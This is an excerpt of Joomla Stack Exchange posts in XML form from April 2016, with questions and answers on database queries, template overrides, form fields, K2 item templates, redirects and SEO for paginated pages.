  <row Id="16351" PostTypeId="1" AcceptedAnswerId="16353" CreationDate="2016-04-27T05:47:42.923" Score="2" ViewCount="2309" Body="&lt;p&gt;What would be the best way to check whether a specific row exists already in a JDatabase table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of INSERT INTO Command, I need to execute a UPDATE command if the row already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2017-03-31T09:44:19.867" Title="How to check whether a specific row exists in a JDatabase table?" Tags="|mysql|jdatabase|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16353" PostTypeId="2" ParentId="16351" CreationDate="2016-04-27T08:20:23.000" Score="1" Body="&lt;p&gt;So lets say you would like to update the username &lt;code&gt;Saibbyweb&lt;/code&gt; in the &lt;code&gt;#__users&lt;/code&gt; table to something like &lt;code&gt;Saibbyweb123&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're going to need to perform a &lt;code&gt;select&lt;/code&gt; query first to see if the row already exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote('Saibbyweb'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$result&lt;/code&gt; will now either contain the username, or be &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can now run your &lt;code&gt;update&lt;/code&gt; query if the result does is not &lt;code&gt;null&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($result !== null)&#xA;{&#xA;    $query  = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;clear();&#xA;&#xA;    $fields     = array($db-&amp;gt;quoteName('username') . ' = ' . $db-&amp;gt;quote('Saibbyweb123'));&#xA;    $conditions = array($db-&amp;gt;quoteName('username') . ' = ' . $db-&amp;gt;quote($result));&#xA;&#xA;    $query-&amp;gt;update($db-&amp;gt;quoteName('#__users'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-27T11:37:07.363" LastActivityDate="2016-04-27T11:37:07.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16355" PostTypeId="2" ParentId="16313" CreationDate="2016-04-27T10:28:59.960" Score="1" Body="&lt;p&gt;So I've tried replicating your directory path and I &lt;strong&gt;believe&lt;/strong&gt; you may have set the paths up incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following worked for me:&#xA;&#xA;&amp;lt;?php&#xA;&#xA;// Constants&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', realpath(dirname(__FILE__) . '/../../../site.com/cms'));&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;// Require&#xA;require_once JPATH_BASE .DS.'includes'.DS.'defines.php';&#xA;require_once JPATH_BASE .DS.'includes'.DS.'framework.php';&#xA;&#xA;// Application&#xA;JFactory::getApplication('site')-&amp;gt;initialise();&#xA;&#xA;// Funtions&#xA;function GetJoomUser()&#xA;{&#xA;    $user = JFactory::getUser();&#xA;&#xA;    $JomUser['id']         = $user-&amp;gt;id;&#xA;    $JomUser['usergroups'] = $user-&amp;gt;groups; &#xA;    $JomUser['username']   = $user-&amp;gt;username;&#xA;&#xA;    return $JomUser;&#xA;}&#xA;&#xA;function getJoomlaUsername($id)&#xA;{&#xA;    $user = JFactory::getUser($id);&#xA;&#xA;    return $user-&amp;gt;get('username');&#xA;}&#xA;&#xA;// Call functions&#xA;$GetJoomUser       = GetJoomUser();&#xA;$getJoomlaUsername = getJoomlaUsername($GetJoomUser['id']);&#xA;&#xA;// Dump Data&#xA;var_dump($GetJoomUser);&#xA;var_dump($getJoomlaUsername);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try replacing all the code in your PHP file with the above code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It returned the following for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=3)&#xA;  'id' =&amp;gt; string '244' (length=3)&#xA;  'usergroups' =&amp;gt; &#xA;    array (size=1)&#xA;      8 =&amp;gt; string '8' (length=1)&#xA;  'username' =&amp;gt; string 'Lodder' (length=9)&#xA;&#xA;string 'Lodder' (length=9)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a side note, your &lt;code&gt;GetJoomUser&lt;/code&gt; is pointless. There's no need to create a new array of object values when you can simply call each one like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;id;&#xA;$user-&amp;gt;groups; &#xA;$user-&amp;gt;username;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-27T10:28:59.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16356" PostTypeId="2" ParentId="9973" CreationDate="2016-04-27T10:34:01.923" Score="1" Body="&lt;p&gt;It's even easier than the other answers suggest.  In ISIS you can upload a new css file &lt;strong&gt;custom.css&lt;/strong&gt;. You need to upload this in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;administrator/templates/isis/css/custom.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template will automatically pick it up and start using it.  It also loads it last so your styles will be more specific.  &lt;em&gt;This feature is available from Joomla! 3.5 onwards.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this would be preferable to duplicating a template is because:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) In the event of template updates you would need to maintain your duplicate template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) That leaves you open to security vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) You are probably only making small changes, so you don't need to copy an entire tempalte.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-04-27T10:34:01.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16357" PostTypeId="1" CreationDate="2016-04-27T11:16:23.473" Score="2" ViewCount="107" Body="&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/Combo_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Form Field Type Combo&lt;/a&gt; doesn't make any sense to me according to the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't offer any configuration option to define a list of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's only meant to be the base for user defined field types, then why can you add it to your XML?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or how do you define it's options?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2016-04-27T11:34:47.747" Title="What is Form Field Type _combo_ good for?" Tags="|form-fields-types|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16358" PostTypeId="2" ParentId="16357" CreationDate="2016-04-27T11:34:47.747" Score="1" Body="&lt;p&gt;The source code shows that combo inherits from list, hence uses the same &lt;code&gt;getOptions()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should be able to define options for &lt;em&gt;combo&lt;/em&gt; just the same way as for the &lt;a href=&quot;https://docs.joomla.org/List_form_field_type&quot; rel=&quot;nofollow&quot;&gt;List Form Field Type&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fieldname&quot; label=&quot;fieldlabel&quot; type=&quot;combo&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2016-04-27T11:34:47.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16359" PostTypeId="1" CreationDate="2016-04-27T15:52:46.027" Score="1" ViewCount="1286" Body="&lt;p&gt;This is more of a PHP question but it is also related to Joomla.&#xA;In K2's &lt;code&gt;category.php&lt;/code&gt; file, there are these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php foreach($this-&amp;gt;links as $key=&amp;gt;$item): ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;itemContainer&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            // Load category_item.php by default&#xA;            $this-&amp;gt;item = $item;&#xA;            echo $this-&amp;gt;loadTemplate('item');&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which iterates through items in a category and load template(&lt;code&gt;category_item.php&lt;/code&gt;) for each one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the &lt;code&gt;category_item.php&lt;/code&gt; file, I wanna get information from another item (for example, in item 2, I wanna display image of item 3, sounds weird but it is what I want to do). In &lt;code&gt;category_item.php&lt;/code&gt;,this is how image gets displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;image; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;$this&lt;/code&gt; here refers to the current item, so my question is, from within the &lt;code&gt;category_item.php&lt;/code&gt; file, is there anyway to refer to the category object? And is there anyway to refer to other items?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="2324" LastEditDate="2016-04-27T23:59:08.713" LastActivityDate="2016-04-28T06:58:13.700" Title="How do I get category object from within an item's template?" Tags="|php|k2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16360" PostTypeId="2" ParentId="16313" CreationDate="2016-04-27T17:44:30.057" Score="0" Body="&lt;p&gt;Ok... I solved the problem.   It was all based on the new structure and the cookies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to set System-&gt;Global Configuration-&gt;Cookie Domain to '.p3proswing.com' (as this is were the pages that reference this stored (stored in p3proswing.com/P3Live).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I needed to be sure all my menu items are pointed to www.p3proswing.com/P3Live/.... urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it writes the cookie to www.p3proswing.com and reads from it when the pages call the GetUserInfo3.php file.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-04-27T17:44:30.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16361" PostTypeId="1" CreationDate="2016-04-27T18:02:43.373" Score="2" ViewCount="98" Body="&lt;p&gt;I am confused.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To speed up page load times for visitors of your site, remove as many&#xA;  landing page redirections as possible, and make any required&#xA;  redirections cacheable if possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does any one have an idea on how to do that in Joomla?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, how can I cache this redirection&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/&quot; rel=&quot;nofollow&quot;&gt;http://website.com/&lt;/a&gt; is a permanent redirect to &lt;a href=&quot;http://www.website.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8320" LastEditorUserId="115" LastEditDate="2016-04-28T00:50:57.587" LastActivityDate="2016-05-30T22:44:17.360" Title="How to make redirections cacheable in Joomla?" Tags="|joomla-3.x|joomla-3.4|joomla-3.3.x|redirect|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16362" PostTypeId="2" ParentId="16359" CreationDate="2016-04-27T18:05:58.097" Score="-1" Body="&lt;p&gt;Well, although a little bit vague what you want to do, you could achieve something like this by creating an override in the &lt;strong&gt;&lt;code&gt;category.php&lt;/code&gt;&lt;/strong&gt; file and bypass the default &lt;strong&gt;&lt;code&gt;item.php&lt;/code&gt;&lt;/strong&gt; template loading, so you can easily switch back to another element of the category items array... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very simplified example would be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i = 0;&#xA;    foreach ($this-&amp;gt;leading as $key=&amp;gt;$item): ?&amp;gt;&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        $this-&amp;gt;item = $item;&#xA;        echo '&amp;lt;h2&amp;gt;'. $this-&amp;gt;item-&amp;gt;title .'&amp;lt;/h2&amp;gt;';&#xA;        if ($i == 1)&#xA;        {&#xA;            $this-&amp;gt;item = $this-&amp;gt;leading[$i-1];&#xA;            echo '&amp;lt;h3&amp;gt;'.$this-&amp;gt;item-&amp;gt;title.'&amp;lt;/h3&amp;gt;';&#xA;            echo '&amp;lt;img src=&quot;'. $this-&amp;gt;item-&amp;gt;imageMedium . '&quot; /&amp;gt;'; &#xA;        }&#xA;        $i++;&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-27T18:22:34.510" LastActivityDate="2016-04-27T18:22:34.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16363" PostTypeId="2" ParentId="16318" CreationDate="2016-04-27T18:51:55.887" Score="2" Body="&lt;p&gt;Let me explain how joomla works imo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Controllers are for creating / executing route and calling model for some work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In controller you have method called &lt;code&gt;save&lt;/code&gt; but it's preprocess &lt;code&gt;$_POST&lt;/code&gt; aka &lt;code&gt;$data&lt;/code&gt; and pass it to model, &lt;code&gt;$controller-&amp;gt;getModel()-&amp;gt;save()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me it's better to call model and pass data and use multiple &lt;code&gt;JTable&lt;/code&gt;, it's better for further use and lil' bit of joomla and &lt;code&gt;MVC&lt;/code&gt; style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in model you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = parent::save($data);&#xA;if($return) {&#xA;    // do something with other post data &#xA;    // JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array);&#xA;}&#xA;&#xA;return $return; // ofc if code in statement was good too :-)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now do your work, i dare you! ]:-&gt;&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2016-04-27T18:51:55.887" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16364" PostTypeId="1" AcceptedAnswerId="16379" CreationDate="2016-04-27T20:00:03.153" Score="1" ViewCount="164" Body="&lt;p&gt;Which SPL exception should be thrown when sanity checks fail? For example, if the check() function fails when saving data with JTable or a parameter check fails? I'd prefer to use something more specific then RuntimeException.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer is to extend my own exceptions, where would be the best place to put them? In a helper class file?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="7739" LastEditDate="2016-04-27T23:15:11.607" LastActivityDate="2016-04-29T08:17:37.043" Title="which exception should be thrown when sanity checks fail?" Tags="|joomla-3.x|php|component|mvc|error-handling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16365" PostTypeId="1" CreationDate="2016-04-27T21:01:47.693" Score="1" ViewCount="147" Body="&lt;p&gt;Hellow Joomla Experts,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client wants a website which will showcase famous and influential people profiles. Something like this =&gt; &lt;a href=&quot;http://www.forbes.com/profile/charles-dunstone/&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/profile/charles-dunstone/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should have the following functionalities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Show profile of the Person (Name, Short Bio, Full Bio, DOB, Photo, Achievements, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Profiles categorized based on their contribution to the society (Example: Movies, Politics, Religion, Business etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Also create profiles for the famous person's family (Father, Mother, Husband/wife, son, daughter) and link them on the person's profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) A search module to search famous people by their name (Will joomla's default search module work for this?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Show live updates(posts/tweets) from their social media accounts (twitter, instagram) on their profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Module to show other famous people related to the person/profile displayed (just like related articles module for joomla articles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this extension -&gt; &lt;a href=&quot;http://extensions.joomla.org/extension/extendeddb-people&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/extendeddb-people&lt;/a&gt;  Can this help?  Or this one =&gt;  &lt;a href=&quot;http://extensions.joomla.org/extension/profile-pro-for-community-builder&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/profile-pro-for-community-builder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much in advance..&lt;/p&gt;&#xA;" OwnerUserId="6970" LastActivityDate="2016-04-28T07:44:44.703" Title="Website for Famous People Profile Database" Tags="|database|profile|" AnswerCount="2" CommentCount="1" ClosedDate="2016-04-28T13:43:04.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="16366" PostTypeId="1" AcceptedAnswerId="16403" CreationDate="2016-04-27T21:41:39.667" Score="1" ViewCount="37" Body="&lt;p&gt;I'm looking at JCache-&gt;setLifeTime(), and after having it not work as expected, and digging through things and looking at the file storage adapter, what I found is that the interval for setLifeTime() is actually minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's unexpected. I would have expected seconds myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I alter the documentation for JCache(Controller)-&gt;setLifeTime() to document that the argument is in minutes?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-04-30T05:00:16.313" Title="How do I make Doc Changes for the Joomal API?" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16367" PostTypeId="2" ParentId="16365" CreationDate="2016-04-28T01:36:00.843" Score="3" Body="&lt;p&gt;From my experiences, extending from an available component can be difficult to maintain in the long run. And extending from the component could be a hassle as the coding style are different and definitely some sort of customization would be needed to be done by your side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to say is, if the client is paying good why not just could a custom component yourself?&lt;/p&gt;&#xA;" OwnerUserId="8321" LastActivityDate="2016-04-28T01:36:00.843" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16368" PostTypeId="1" CreationDate="2016-04-28T05:14:00.150" Score="0" ViewCount="365" Body="&lt;p&gt;google crawler found many Duplicate meta descriptions and title tags in my web, like these :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/tag/طراحی-دکوراسیون-مغازه/687-طراحی-داخلی-گل-فروشی&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/tag/طراحی-دکوراسیون-مغازه/687-طراحی-داخلی-گل-فروشی?showall=&amp;amp;limitstart=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/tag/طراحی-دکوراسیون-مغازه/687-طراحی-داخلی-گل-فروشی?showall=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the crawler found each page breaks as same meta or title tag!!!&#xA;how can i fix this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my joomla version is 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="8322" LastEditorUserId="8322" LastEditDate="2016-04-28T05:19:57.663" LastActivityDate="2016-04-28T09:41:56.857" Title="how to remove Duplicate meta for each page breaks in joomla?" Tags="|seo|joomla-3.5|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2016-05-07T15:00:35.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="16369" PostTypeId="2" ParentId="13801" CreationDate="2016-04-28T05:29:55.803" Score="3" Body="&lt;p&gt;Found out that the joomla database driver is being overridden by another one which belongs to Falang component that allows you to manage all the content translations. Falang database driver has no debugging implementation and thus only disabling the Falang while debugging the site would solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastActivityDate="2016-04-28T05:29:55.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16370" PostTypeId="2" ParentId="16359" CreationDate="2016-04-28T06:58:13.700" Score="1" Body="&lt;p&gt;We have &lt;code&gt;category.php&lt;/code&gt; and &lt;code&gt;item.php&lt;/code&gt; files.&#xA;&lt;code&gt;category.php&lt;/code&gt; load template in loop like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($this-&amp;gt;links as $key =&amp;gt; $item) :&#xA;    $this-&amp;gt;item = $item;&#xA;    $this-&amp;gt;loadTemplate('item');&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in &lt;code&gt;item.php&lt;/code&gt; file you have access or you should have to &lt;code&gt;$this&lt;/code&gt; and every property you have created in &lt;code&gt;JView&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wanna access the next property of loop, so you need only to pass a &lt;code&gt;$key&lt;/code&gt; to &lt;code&gt;item.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($this-&amp;gt;links as $key =&amp;gt; $item) :&#xA;    $this-&amp;gt;item = $item;&#xA;    $this-&amp;gt;key = $key;&#xA;    $this-&amp;gt;loadTemplate('item');&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;code&gt;item.php&lt;/code&gt; you can access next value of item like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;links[$this-&amp;gt;key + 1]-&amp;gt;image &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or other property of next, previous or what &lt;code&gt;$key&lt;/code&gt; you wanna to.&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2016-04-28T06:58:13.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16371" PostTypeId="2" ParentId="16365" CreationDate="2016-04-28T07:44:44.703" Score="1" Body="&lt;p&gt;&lt;strong&gt;Easy Profile&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/easy-profile&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Profile&lt;/a&gt; will do most of the heavy lifting for you (including search) in this scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension is extremely versatile and fairly easy to customise to your requirements. For example, you can specify custom SQL WHERE details in &quot;Easy Profile - User List&quot; modules to limit your search based on the values of standard or custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to override the styling via a &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;custom CSS file&lt;/a&gt; or similar if you are fussy about how it looks but this is fairly easy to do.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-04-28T07:44:44.703" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16372" PostTypeId="2" ParentId="16361" CreationDate="2016-04-28T08:02:37.640" Score="2" Body="&lt;p&gt;You can cache redirect via &lt;code&gt;.htaccess&lt;/code&gt; example for redirect non-www to www&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^example.com [NC]&#xA;RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;R=301&lt;/code&gt; mean it will be cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have done this redirect and google page speed is still throwing you an error, you need to ignore it and live with it ;p &lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2016-04-28T08:02:37.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16373" PostTypeId="2" ParentId="466" CreationDate="2016-04-28T09:10:37.153" Score="2" Body="&lt;p&gt;Displaying module titles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt; jdoc:include type=&quot;modules&quot; name=&quot;grid2-2&quot; &lt;strong&gt;style=&quot;xhtml&quot;&lt;/strong&gt; /&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8324" LastActivityDate="2016-04-28T09:10:37.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16374" PostTypeId="2" ParentId="16368" CreationDate="2016-04-28T09:41:56.857" Score="2" Body="&lt;p&gt;These pages would appear to be generated by the tags component, which are paginated lists of articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each individual tag can have separate meta data if you create a &lt;code&gt;tagged items&lt;/code&gt; menu item for each one, though sub-pages within each tag can not have their own meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst it should technically be possible to write a plug-in to achieve this, it would seem a mistake since it does actually make sense that they share meta data between list pages.  This is because the purpose of each page is exactly the same - ie to list articles that match that specific tag.  There is no logical change of description to individualise these beyond possibly &quot;page x of...&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible for users to be able to switch between amounts shown per-page, so the page shown to the user may not always be the same as the one in Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google's guidelines on paginated content are here: &lt;a href=&quot;https://webmasters.googleblog.com/2011/09/pagination-with-relnext-and-relprev.html&quot; rel=&quot;nofollow&quot;&gt;https://webmasters.googleblog.com/2011/09/pagination-with-relnext-and-relprev.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do say that doing nothing is an option:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Leave whatever you have exactly as-is. Paginated content exists&#xA;  throughout the web and we’ll continue to strive to give searchers the&#xA;  best result, regardless of the page’s rel=”next”/rel=”prev” HTML&#xA;  markup—or lack thereof.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to add the &lt;code&gt;rel=&quot;prev&quot;&lt;/code&gt; and &lt;code&gt;rel=&quot;next&quot;&lt;/code&gt; tags, these can be overriden in your template.  An example of a pagination override in action can be seen in the core Protostar template under templates/protostar/html/pagination.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could possible also set the first page as canonical, again with an override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I wouldn't worry about listings pages - beyond helping Google crawl your site, they don't have any major SEO benefit.  It's the actual article pages that need to be listed correctly.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-28T09:41:56.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16375" PostTypeId="1" CreationDate="2016-04-28T14:38:21.147" Score="0" ViewCount="124" Body="&lt;p&gt;I wanted a Joomla extension which would (among other things) allow me to show a different image for every day of the month but couldn't find one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to learn PHP to do the job. I wrote some code which works perfectly under WAMP as PHP using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$handle = opendir(dirname(realpath(__FILE__)).$imagedir) or die (&quot;cannot open directory&quot;);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I use this in Metamod etc I get an opendir function error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain how I should reformat this for Joomla 3.&lt;/p&gt;&#xA;" OwnerUserId="8325" LastEditorUserId="168" LastEditDate="2016-04-28T14:39:41.163" LastActivityDate="2019-08-12T13:03:15.360" Title="PHP in helper module. How to format directory string to access images" Tags="|joomla-3.x|custom-module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
